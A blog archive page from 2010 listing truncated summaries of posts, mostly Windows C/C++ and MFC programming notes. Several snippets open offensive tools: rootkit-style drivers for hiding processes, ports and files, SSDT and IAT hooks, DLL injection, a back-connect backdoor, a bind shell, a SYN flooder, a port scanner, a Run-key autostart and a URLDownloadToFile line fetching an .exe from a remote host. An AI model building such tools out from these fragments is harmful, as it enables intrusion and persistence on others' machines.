摘要:
Visual Studio系列中产品中,Visual Studio 6.0是最经典的一个版本,虽然后来有Visual Studio .NET 2003,以及2005,也确实添加了很多让我觉得激动的特性,但是从使用细节的细腻程度上来看,VS 6.0无疑是最棒的。我们一些同事甚至试图把2005的C++编译器独立的拿到Visual Studio 6.0中来用,也不愿意升级到.NET上来用,可见其魅力。和... 阅读全文
posted @ 2010-05-30 23:39
carekee
阅读(320)
评论(0)
推荐(0)
摘要:
VC++6.0升级的一个很大的障碍就是代码不兼容,但是VC++6.0的C++不够标准,不够安全,存在诸多安全漏洞,内存析出,缓冲区溢出,等等,代码的安全性,可靠性得不到有利的保障,为了您的软件的长治久安,以及在Windows7平台上的迁移,请克服代码兼容性带来的麻烦,一定要设法升级到VC++2010。关于C++中异常的争论何其多也,但往往是一些不合事实的误解。异常曾经是一个难以用好的语言特性,幸运... 阅读全文
posted @ 2010-05-30 23:19
carekee
阅读(604)
评论(0)
推荐(0)
摘要:
微软即将在2010年4月12日发布VS2010的正式版,对于c++语言做了修改,使之更加符合c++标准。下面对于微软对于c++语言的修改做一下分析!Lambda表达式很多编程编程语言都支持匿名函数(anonymous function)。所谓匿名函数,就是这个函数只有函数体,而没有函数名。Lambda表达式就是实现匿名函数的一种编程技巧,它为编写匿名函数提供了简明的函数式的句法。同样是Visual... 阅读全文
posted @ 2010-05-30 22:09
carekee
阅读(1400)
评论(0)
推荐(0)
摘要:
燕狂徒写的驱动挂钩,限制磁盘只读,用于保证涉密计算机的稳定,相当于将磁盘变成ROM#include "ntddk.h"#include <srb.h>#include <scsi.h>#define DRIVERNAME "OnlyRead(GongXiPeng!)" // for use in messagestypedef struct tagDEVICE_EXTENS... 阅读全文
posted @ 2010-05-30 22:05
carekee
阅读(756)
评论(0)
推荐(0)
摘要:
#include "stdafx.h"#include "ecfile.h"#include "ecfileDlg.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endif/////////////////////////////////////////////////... 阅读全文
posted @ 2010-05-30 22:04
carekee
阅读(1733)
评论(0)
推荐(0)
摘要:
1.windows文件系统概述 硬盘文档加密系统驱动原理一般有两种:通过HOOK一些底层的系统内核调用对文件目录的访问权限进行控制,在文件系统输入输出驱动上层直接建立一个驱动对文件目录的数据进行加密。由于windows文件系统不是物理设备,其堆栈结构比较特殊,因此文件系统过滤驱动也与一般过滤驱动有一些不同(这一点背景可以参考下楚狂人[1]的文档和IFS的提供的若干文档,除了正常的文件接口,还有一种... 阅读全文
posted @ 2010-05-30 22:04
carekee
阅读(5731)
评论(0)
推荐(0)
摘要:
核心代码如下:view plaincopy to clipboardprint?·········10········20········30... 阅读全文
posted @ 2010-05-30 22:03
carekee
阅读(1104)
评论(0)
推荐(0)
摘要:
加载模块核心源码#include "Loader.h"BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){hinst = hinstDLL;switch(fdwReason){case DLL_PROCESS_ATTACH://MessageBox(NULL,"DLL_PROCESS_ATTACH",... 阅读全文
posted @ 2010-05-30 22:02
carekee
阅读(399)
评论(0)
推荐(0)
摘要:
#include <stdio.h>#include <windows.h>int ReadStream( HANDLE hFile, bool bIsDirectory, char* FileName ){//数据流文件名查找////输入:// 已打开的文件句柄// bIsDirectory// 文件名, 用于显示数据流在哪个文件中//结果:// 直接在函数中输出//返回... 阅读全文
posted @ 2010-05-30 22:01
carekee
阅读(548)
评论(0)
推荐(0)
摘要:
#include "stdafx.h"#include <stdio.h>#include <windows.h>int main(int argc, char* argv[]){char temp[256];DWORD ret;LPCTSTR szRegKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image ... 阅读全文
posted @ 2010-05-30 22:01
carekee
阅读(430)
评论(0)
推荐(0)
摘要:
// NatCheck.cpp : Defines the entry point for the console application.//#include "stdafx.h" #include <process.h> #include <stdio.h> #include <afx.h>#include "winsock2.h"#include ".... 阅读全文
posted @ 2010-05-30 22:00
carekee
阅读(1224)
评论(0)
推荐(0)
摘要:
#include "ntddk.h"#include <windef.h>#pragma pack(1) //SSDT Tabletypedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in che... 阅读全文
posted @ 2010-05-30 21:59
carekee
阅读(557)
评论(0)
推荐(0)
摘要:
保护核心代码#include "ntddk.h"#define NT_DEVICE_NAME L"\\Device\\ProtectProcess"#define DOS_DEVICE_NAME L"\\DosDevices\\ProtectProcess"#define IOCTL_PROTECT_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METH... 阅读全文
posted @ 2010-05-30 21:59
carekee
阅读(1055)
评论(0)
推荐(0)
摘要:
/***********************************************************************//*实现全局hook模块基本完工,测试通过,没有发现异常。 计划1:在hook前首先检验该程序是否已被hook 计划2:添加枚举进程并hook功能 计划3:在备份api时,只备份目标api函数,避免备份整个dll浪费空间 计划4:给my_EventPro... 阅读全文
posted @ 2010-05-30 21:59
carekee
阅读(1075)
评论(0)
推荐(0)
摘要:
#include "ntddk.h"#include <stdio.h>#include <tdiinfo.h>#include <tdistat.h>#include "netType.h"#define NT_DEVICE_NAME L"\\Device\\HidePort"#define DOS_DEVICE_NAME L"\\DosDevices\\Hi... 阅读全文
posted @ 2010-05-30 21:58
carekee
阅读(835)
评论(0)
推荐(0)
摘要:
调用一个开源的文件过滤驱动,头文件typedef struct _ATTACH_EXTENSION {CHAR VolumeLetter;PDEVICE_OBJECT VolumeDevice;} ATTACH_EXTENSION, *PATTACH_EXTENSION;PDRIVER_OBJECT g_DriverObject;源文件#include <ntifs.h>#inclu... 阅读全文
posted @ 2010-05-30 21:57
carekee
阅读(833)
评论(0)
推荐(0)
摘要:
冻结进程#include <stdio.h>#include <windows.h>#include <tlhelp32.h>int main(int argc,char *argv[]){PROCESSENTRY32 pe32;pe32.dwSize=sizeof(pe32);unsigned long Pid;HANDLE hProcessSnap=::Cr... 阅读全文
posted @ 2010-05-30 21:56
carekee
阅读(593)
评论(0)
推荐(0)
摘要:
/**/#ifndef _DBGHELP_H#define _DBGHELP_H 1#include <ntddk.h>#define dprintf if (DBG) DbgPrint#define nprintf DbgPrint#define kmalloc(_s)ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')//#define k... 阅读全文
posted @ 2010-05-30 21:56
carekee
阅读(2134)
评论(0)
推荐(0)
摘要:
/* 利用异常结构处理搜索GetProcAddress入口地址 */ #include <STDIO.H> #include <WINDOWS.H> main() { _asm { call ex//取得当前地址以计算异常结构开始的地址 mov eax,0x77000000 mov [ebp-0ch],eax mov eax,esp sub eax,8 xchg ... 阅读全文
posted @ 2010-05-30 21:55
carekee
阅读(597)
评论(0)
推荐(0)
摘要:
#include "ntddk.h"// important!! place this before ndis.h#define NDIS40 1#include "ndis.h"#include "stdio.h"//////////////////////////////////////////////// prototypes for all our network callbacks///... 阅读全文
posted @ 2010-05-30 21:55
carekee
阅读(534)
评论(0)
推荐(0)
摘要:
在保护模式下,ring0有至高无上的权限,他一直是很多黑客程序员追求的目标,在NT平台上,MS对系统表格作了保护,不能在象win9x那样,去直接修改系统表格,但是还是有不少办法能够进入ring0的,例如,在国内,最早sinister利用编写驱动程序的方法进入ring0,这也是最通用的方法了,紧跟着WebCrazy又使用读写物理内存的方法来读写GDT所在的物理内存,在GDT上生成自己的调用门来随意进... 阅读全文
posted @ 2010-05-30 21:54
carekee
阅读(945)
评论(0)
推荐(0)
摘要:
#include <WINDOWS.H> #include <TCHAR.H> #include <SETUPAPI.H> //#include <SHLWAPI.H> #pragma comment(lib, "setupapi.lib") //#pragma comment(lib, "shlwapi.lib") HDEVINFO h... 阅读全文
posted @ 2010-05-30 21:53
carekee
阅读(3638)
评论(0)
推荐(0)
摘要:
// DownloadHttp.cpp: implementation of the CDownloadHttp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "DownloadHttp.h"... 阅读全文
posted @ 2010-05-30 21:52
carekee
阅读(4043)
评论(0)
推荐(0)
摘要:
结合本人的FTP类,http类,实现多线程断点续传// DownloadMTR.cpp: implementation of the CDownloadMTR class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#i... 阅读全文
posted @ 2010-05-30 21:52
carekee
阅读(683)
评论(0)
推荐(0)
摘要:
// DownloadFtp.cpp: implementation of the CDownloadFtp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "DownloadFtp.h"#if... 阅读全文
posted @ 2010-05-30 21:51
carekee
阅读(1091)
评论(0)
推荐(0)
摘要:
目前NT下有很多种隐藏文件和目录的方法,其中最简单的一种是给文件和文件夹加上系统属性和隐藏属性,操作系统就会不在显示了,而且查找也找不到了,但是这种方法一点都不彻底,没有可用性!下面我们来介绍用NT驱动程序来拦截NTAPI来实现彻底隐藏文件和目录的目的。NT下有一个文件NTDLL.DLL,大部分NTAPI都是在这个库中封装的。其中实现查找文件和目录的API接口是ZwQueryDirectoryFi... 阅读全文
posted @ 2010-05-30 21:50
carekee
阅读(384)
评论(0)
推荐(0)
摘要:
#include <afxsock.h>#include<winsock2.h>#pragma comment(lib,"ws2_32.lib")#include <ras.h>#include <raserror.h>#pragma comment(lib, "rasapi32.lib")#include <WinInet.h>#pra... 阅读全文
posted @ 2010-05-30 21:49
carekee
阅读(496)
评论(0)
推荐(0)
摘要:
将过去的工程用VS2005打开的时候。你有可能会遇到一大堆的警告:warning C4996。比如:warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNIN... 阅读全文
posted @ 2010-05-30 21:49
carekee
阅读(933)
评论(0)
推荐(0)
摘要:
客户端#include <winsock2.h>#include <stdio.h>#include <stdlib.h>#pragma comment(lib,"ws2_32.lib")char SendMsg[256];/* The IP header */typedef struct iphdr {unsigned int h_len:4; //4位首部长... 阅读全文
posted @ 2010-05-30 21:48
carekee
阅读(469)
评论(0)
推荐(0)
摘要:
#include<windows.h>#include<stdio.h>int main(int argc,char *argv[]){HANDLE hMutex;DWORD dwErr;hMutex=CreateMutex(NULL,//无安全描述FALSE,//没有所有者 "HACK");//对象名if(hMutex==NULL)//hMutex为NULL标示创建失败{... 阅读全文
posted @ 2010-05-30 21:47
carekee
阅读(179)
评论(0)
推荐(0)
摘要:
发送#include <stdio.h>#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")void main() {// 初始化 WSADATA wsaData; int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_... 阅读全文
posted @ 2010-05-30 21:46
carekee
阅读(318)
评论(0)
推荐(0)
摘要:
#include <stdio.h>#include <windows.h>int main(int argc,char *argv[]){MessageBox(NULL,"Hello",NULL,MB_OK);char temp[256];memset(temp,0,256);if(argc!=1){int length =strlen(argv[1]);char *ch... 阅读全文
posted @ 2010-05-30 21:46
carekee
阅读(415)
评论(0)
推荐(0)
摘要:
#include <winsock2.h>#include <Ws2tcpip.h>#include <stdio.h>#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void) ... 阅读全文
posted @ 2010-05-30 21:45
carekee
阅读(481)
评论(0)
推荐(0)
摘要:
#include <winsock2.h>#include <ws2tcpip.h>#include <stdio.h>#include <time.h>#include "mstcpip.h"#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839SOCKET sockRaw = INVALID... 阅读全文
posted @ 2010-05-30 21:44
carekee
阅读(1876)
评论(0)
推荐(0)
摘要:
#include "stdafx.h"#include "xpktfilter.h"#include "xpktfilterDlg.h"#include ".\xpktfilterdlg.h"#ifdef _DEBUG#define new DEBUG_NEW#endif#pragma comment(lib,"iphlpapi.lib")// CxpktfilterDlg 对话框Cxpktfil... 阅读全文
posted @ 2010-05-30 21:44
carekee
阅读(666)
评论(0)
推荐(0)
摘要:
#include <windows.h>#include<stdio.h>#include "resource.h"void WriteResourceToFile(char const *filename){HINSTANCE hInstance=GetModuleHandle(NULL); HRSRC hResInfo = FindResource(hInstance... 阅读全文
posted @ 2010-05-30 21:43
carekee
阅读(302)
评论(0)
推荐(0)
摘要:
#include <stdio.h>#include<winsock2.h>#include <time.h>#pragma comment(lib,"ws2_32.lib")char *host;int threadnum,maxthread,totalport;long nowport;TIMEVAL timeout;FD_SET mask;void us... 阅读全文
posted @ 2010-05-30 21:43
carekee
阅读(1415)
评论(0)
推荐(0)
摘要:
/*---------------------------------------SNMP信息刺探程序----------------------------------------*/#include <stdio.h>#include <malloc.h>#include <snmp.h>#include <mgmtapi.h>#pragma c... 阅读全文
posted @ 2010-05-30 21:42
carekee
阅读(854)
评论(0)
推荐(0)
摘要:
#include <stdio.h>#include <winsock2.h>#include <ws2tcpip.h>#pragma comment (lib,"ws2_32.lib")#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)struct IPHEAD{ unsigned char h_len:4;//4位首部长度+4位... 阅读全文
posted @ 2010-05-30 21:42
carekee
阅读(224)
评论(0)
推荐(0)
摘要:
#include<winsock2.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = "\r\n======================== BackConnect BackDoor V0.1 =============... 阅读全文
posted @ 2010-05-30 21:41
carekee
阅读(399)
评论(0)
推荐(0)
摘要:
#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPi... 阅读全文
posted @ 2010-05-30 21:41
carekee
阅读(1552)
评论(0)
推荐(0)
摘要:
#include <windows.h>#include <stdio.h>#include <lm.h>#pragma comment (lib, "Mpr.lib")#pragma comment (lib, "Netapi32.lib")void getuser(char *);void main( int argc, char *argv[ ] ){DW... 阅读全文
posted @ 2010-05-30 21:40
carekee
阅读(300)
评论(0)
推荐(0)
摘要:
#include <stdio.h>#include <windows.h>int main(void){char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";HKEY hkResult;int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkR... 阅读全文
posted @ 2010-05-30 21:39
carekee
阅读(249)
评论(0)
推荐(0)
摘要:
#include <urlmon.h>#pragma link "w32inet.lib" int main(){HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d:\\abc.exe",0,0); if(hRet==S_OK) { printf("Download OK!\n");} else { p... 阅读全文
posted @ 2010-05-30 21:39
carekee
阅读(272)
评论(0)
推荐(0)
摘要:
#include <stdio.h>#include <windows.h>SERVICE_STATUS m_ServiceStatus;SERVICE_STATUS_HANDLE m_ServiceStatusHandle;BOOL bRunning=true;void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);//服务主函... 阅读全文
posted @ 2010-05-30 21:37
carekee
阅读(468)
评论(0)
推荐(0)
摘要:
#include<stdio.h>#include<windows.h>void GetSysInfo();DWORD GetOS(){OSVERSIONINFO os;os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);GetVersionEx(&os);switch(os.dwPlatformId){case VER_PLA... 阅读全文
posted @ 2010-05-30 21:37
carekee
阅读(514)
评论(0)
推荐(0)
摘要:
void pslist(void){HANDLE hProcessSnap = NULL;PROCESSENTRY32 pe32= {0};hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == (HANDLE)-1){printf("\nCreateToolhelp32Snapshot(... 阅读全文
posted @ 2010-05-30 21:36
carekee
阅读(467)
评论(0)
推荐(0)
摘要:
头文件#if !defined(AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_)#define AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_#if _MSC_VER >= 1000#pragma once#endif /... 阅读全文
posted @ 2010-05-30 21:35
carekee
阅读(1346)
评论(0)
推荐(0)
摘要:
VC8.0 以后里面是不支持 默认int型的VC8.0以后里面不支持这样的for循环for(int i = 0; i> 10 ; i++){ ......}不能在循环括号内定义变量,而应该改成:int i ;forint (i = 0; i> 10 ; i++){ ......}1) 2560行 SPPHONEID* pphoneId = (SPPHONEID*)((WCHAR *)d... 阅读全文
posted @ 2010-05-30 21:34
carekee
阅读(296)
评论(0)
推荐(0)
摘要:
引用是C++引入的新语言特性,是C++常用的一个重要内容之一,正确、灵活地使用引用,可以使程序简洁、高效。我在工作中发现,许多人使用它仅仅是想当然,在某些微妙的场合,很容易出错,究其原由,大多因为没有搞清本源。故在本篇中我将对引用进行详细讨论,希望对大家更好地理解和使用引用起到抛砖引玉的作用。 一、引用简介 引用就是某一变量(目标)的一个别名,对引用的操作与对变量直接操作完全一样。 引用的声... 阅读全文
posted @ 2010-05-30 21:33
carekee
阅读(859)
评论(0)
推荐(0)
摘要:
1、获取应用程序指针CMyApp* pApp=(CMyApp*)AfxGetApp();2、获取主框架指针CWinApp 中的公有成员变量 m_pMainWnd 就是主框架的指针CMainFrame* pMainFrame = (CMainFrame*)(AfxGetApp()->m_pMainWnd);或者CMainFrame* pMainFrame = (CMainFrame*)AfxG... 阅读全文
posted @ 2010-05-30 21:32
carekee
阅读(220)
评论(0)
推荐(0)
摘要:
一、打开CD-ROMmciSendString("Set cdAudio door open wait",NULL,0,NULL);二、关闭CD_ROMmciSendString("Set cdAudio door closed wait",NULL,0,NULL);三、关闭计算机OSVERSIONINFO OsVersionInfo; //包含操作系统版本信息的数据结构OsVersionInfo... 阅读全文
posted @ 2010-05-30 21:31
carekee
阅读(1373)
评论(0)
推荐(0)
摘要:
首先在H文件有如下声明:class CMultiViewApp : public CWinApp{public: CView* m_pFirstView; CView* m_pOtherView; int m_currentView; CView* m_pView2; CView* m_pView1; CMultiViewApp();// Overrides // ClassWizard gene... 阅读全文
posted @ 2010-05-30 21:31
carekee
阅读(1085)
评论(0)
推荐(0)
摘要:
1."属性页的添加:创建对话框的类,该类要从CpropertyPage继承;然后在要添加该对话框为属性页的类(头文件)里创建CpropertySheet类的一个对象m_tabsheet和新创建的对话框类的对象m_skatch;最后,在.cpp文件里的OnInitDialog()之类的函数里实现如下代码:m_tabsheet.Create(this, WS_CHILD | WS_VISIBLE, 0... 阅读全文
posted @ 2010-05-30 21:29
carekee
阅读(10668)
评论(0)
推荐(0)
摘要:
1.锁定鼠标:这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序#include <stdio.h>#include <windows.h>int main(int argc, char* argv[]){printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");RECT rect;rect.bottom=1;rect.right=1;C... 阅读全文
posted @ 2010-05-30 21:29
carekee
阅读(263)
评论(0)
推荐(0)
摘要:
一、改变视图背景色: 在CView的OnDraw函数中添写如下一段程序代码: void CFileNameView::OnDraw(CDC* pDC) {CFileNameDoc* pDoc = GetDocument();ASSERT_VALID(pDoc);CRect rectClient;CBrush brushBkColor;GetClientRect(rectClient);brushB... 阅读全文
posted @ 2010-05-30 21:28
carekee
阅读(606)
评论(0)
推荐(0)
摘要:
一. VC常用数据类型列表二. 常用数据类型转化2.1数学类型变量与字符串相互转换2.2 CString及string,char *与其他数据类型的转换和操作●CString,string,char*的综合比较●数学类型与CString相互转化●CString与char*相互转换举例●CString 与 BSTR 型转换●VARIANT ... 阅读全文
posted @ 2010-05-30 21:27
carekee
阅读(513)
评论(0)
推荐(0)
摘要:
视图类,废话少说,看看带注释的源码#include "stdafx.h" #include "robot.h" #include"Label.h" #include "robotDoc.h" #include "robotView.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[... 阅读全文
posted @ 2010-05-30 21:26
carekee
阅读(476)
评论(0)
推荐(0)
摘要:
int i = 100;long l = 2001;float f=300.2;double d=12345.119;char username[]="程佩君";char temp[200];char *buf;CString str;_variant_t v1;_bstr_t v2;一、其它数据类型转换为字符串短整型(int)itoa(i,temp,10);///将i转换为字符串放入temp中,... 阅读全文
posted @ 2010-05-30 21:10
carekee
阅读(215)
评论(0)
推荐(0)
摘要:
通过对CWMPPlayer4、CWMPSettings和CWMPControls等几个类的使用可以实现Windows Media Player的大部分常规功能,如果需要做进一步的控制,可以在用下面这些函数返回相关类对象后调用相关成员函数来加以实现: GetCurrentMedia() 返回CWMPMedia类对象 GetMediaCollection() 返回CWMPMediaCollecti... 阅读全文
posted @ 2010-05-30 21:09
carekee
阅读(907)
评论(0)
推荐(0)
摘要:
CString是一个动态TCHAR数组,BSTR是一种专有格式的字符串(需要用系统提供的函数来操纵,LPCTSTR只是一个常量的TCHAR指针。CString 是一个完全独立的类,动态的TCHAR数组,封装了 + 等操作符和字符串操作方法。typedef OLECHAR FAR* BSTR;typedef const char * LPCTSTR;vc++中各种字符串的表示法 首先char* 是指... 阅读全文
posted @ 2010-05-30 21:06
carekee
阅读(275)
评论(0)
推荐(0)
摘要:
项目中常常需要将中间结果进行保存, 以供后续步骤进行处理. 如果以临时文件的方式往往容易"暴露"中间机密信息. 同时,文件IO读写也较浪费时间(说到这里,不得不BS一下windows的文件系统,当一个目录下的文件数目超过10000时,读写文件相当慢,Linux却没有这样的问题). 面对上面情况,本人想到了内存机制: 如果中间结果数据不超过2G(32位windows的内存地址上限).可以在内存... 阅读全文
posted @ 2010-05-30 21:06
carekee
阅读(562)
评论(0)
推荐(0)
摘要:
在2000和xp下,隐藏进程头文件:////////////////////////////////////////HideProcess.hBOOL HideProcess();CPP源文件:///////////////////////////////////////////////////////////////////////////////HideProcess.cpp#include&... 阅读全文
posted @ 2010-05-30 21:03
carekee
阅读(719)
评论(0)
推荐(0)
摘要:
如何在程序中延时方法一: 使用sleep函数,如延时2秒,用sleep(2000);方法二: 使用sleep函数的不利在于延时期间不能处理其他的消息,如果时间太长,就好象死机一样,利用ColeDateTime类和ColeDateTimeSpan类实现延时就不会出现那样的问题:ColeDateTime start_time = ColeDateTime::GetCurrentTime();ColeD... 阅读全文
posted @ 2010-05-30 21:03
carekee
阅读(1106)
评论(0)
推荐(0)
摘要:
ShellExecute(hWnd: HWND; {指定父窗口句柄}Operation: PChar; {指定动作, 譬如: open、print}FileName: PChar; {指定要打开的文件或程序}Parameters: PChar; {给要打开的程序指定参数; 如果打开的是文件这里应该是 nil}Directory: PChar; {缺省目录}ShowCmd: Integer {打... 阅读全文
posted @ 2010-05-30 21:01
carekee
阅读(487)
评论(0)
推荐(0)
摘要:
BOOL SHGetSpecialFolderPath ( HWND hwndOwner, LPTSTR lpszPath, int nFolder, BOOL fCreate);示例: 获得自启动文件夹的路径 TCHAR filePath[MAX_PATH]; ::SHGetSpecialFolderPath (NULL, filePath, CSIDL_STARTUP, FALSE);CSID... 阅读全文
posted @ 2010-05-30 21:01
carekee
阅读(1616)
评论(0)
推荐(0)
摘要:
CString::MakeUppervoid MakeUpper( );Remarks备注Converts this CString object to an uppercase string.将原对象的所有小写英文字母转换为大写。(只是将小写的英文字母转换为大写,对于其它的字符不做变化,例如:大写字符,数字,汉字)Example实例The following example demonstrat... 阅读全文
posted @ 2010-05-30 20:59
carekee
阅读(4079)
评论(0)
推荐(1)
摘要:
#include "stdafx.h"#include "font.h"/////////////////////////////////////////////////////////////////////////////// COleFont propertiesCString COleFont::GetName(){CString result;GetProperty(0x0, VT_BS... 阅读全文
posted @ 2010-05-30 20:57
carekee
阅读(678)
评论(0)
推荐(0)
摘要:
#include "stdafx.h"#include "global.hpp"//---------------------------------------------------------------------------// Description: generate an error message//----------------------------------------... 阅读全文
posted @ 2010-05-30 20:56
carekee
阅读(527)
评论(0)
推荐(0)
摘要:
// 键盘钩子消息处理过程LRESULT CALLBACK DebugProc ( int nCode, WPARAM wParam, LPARAM lParam ){if ( nCode == HC_ACTION ){PDEBUGHOOKINFO pDebugHookInfo = (PDEBUGHOOKINFO)lParam ;switch ( wParam ){case WH_KEYBOARD... 阅读全文
posted @ 2010-05-30 20:54
carekee
阅读(873)
评论(0)
推荐(0)
摘要:
#include <windows.h>// 定义API挂接项结构typedef struct _HOOK_ITEM {DWORD dwAddr ; // IAT项所在地址DWORD dwOldValue ; // IAT项的原始函数地址DWORD dwNewValue ; // IAT项的新函数地址} HOOK_ITEM, *PHOOK_ITEM ;HOOK_ITEM HookIt... 阅读全文
posted @ 2010-05-30 20:53
carekee
阅读(2362)
评论(0)
推荐(0)
摘要:
#include "stdafx.h"#include <windows.h>#include <string>#include "stdio.h"#include <iostream>using namespace std;#define DEF_BUF_SIZE 1024// 用于存储注入模块DLL的路径全名char szDllPath[DEF_BUF_SI... 阅读全文
posted @ 2010-05-30 20:52
carekee
阅读(651)
评论(0)
推荐(0)
摘要:
导言: 我们在Code project(www.codeproject.com)上可以找到许多密码间谍程序(译者注:那些可以看到别的程序中密码框内容的软件),他们都依赖于Windows钩子技术。要实现这个还有其他的方法吗?有!但是,首先,让我们简单回顾一下我们要实现的目标,以便你能弄清楚我在说什么。要读取一个控件的内容,不管它是否属于你自己的程序,一般来说需要发送 WM_GETTEXT 消息到那个... 阅读全文
posted @ 2010-05-30 17:17
carekee
阅读(1274)
评论(0)
推荐(0)
浙公网安备 33010602011771号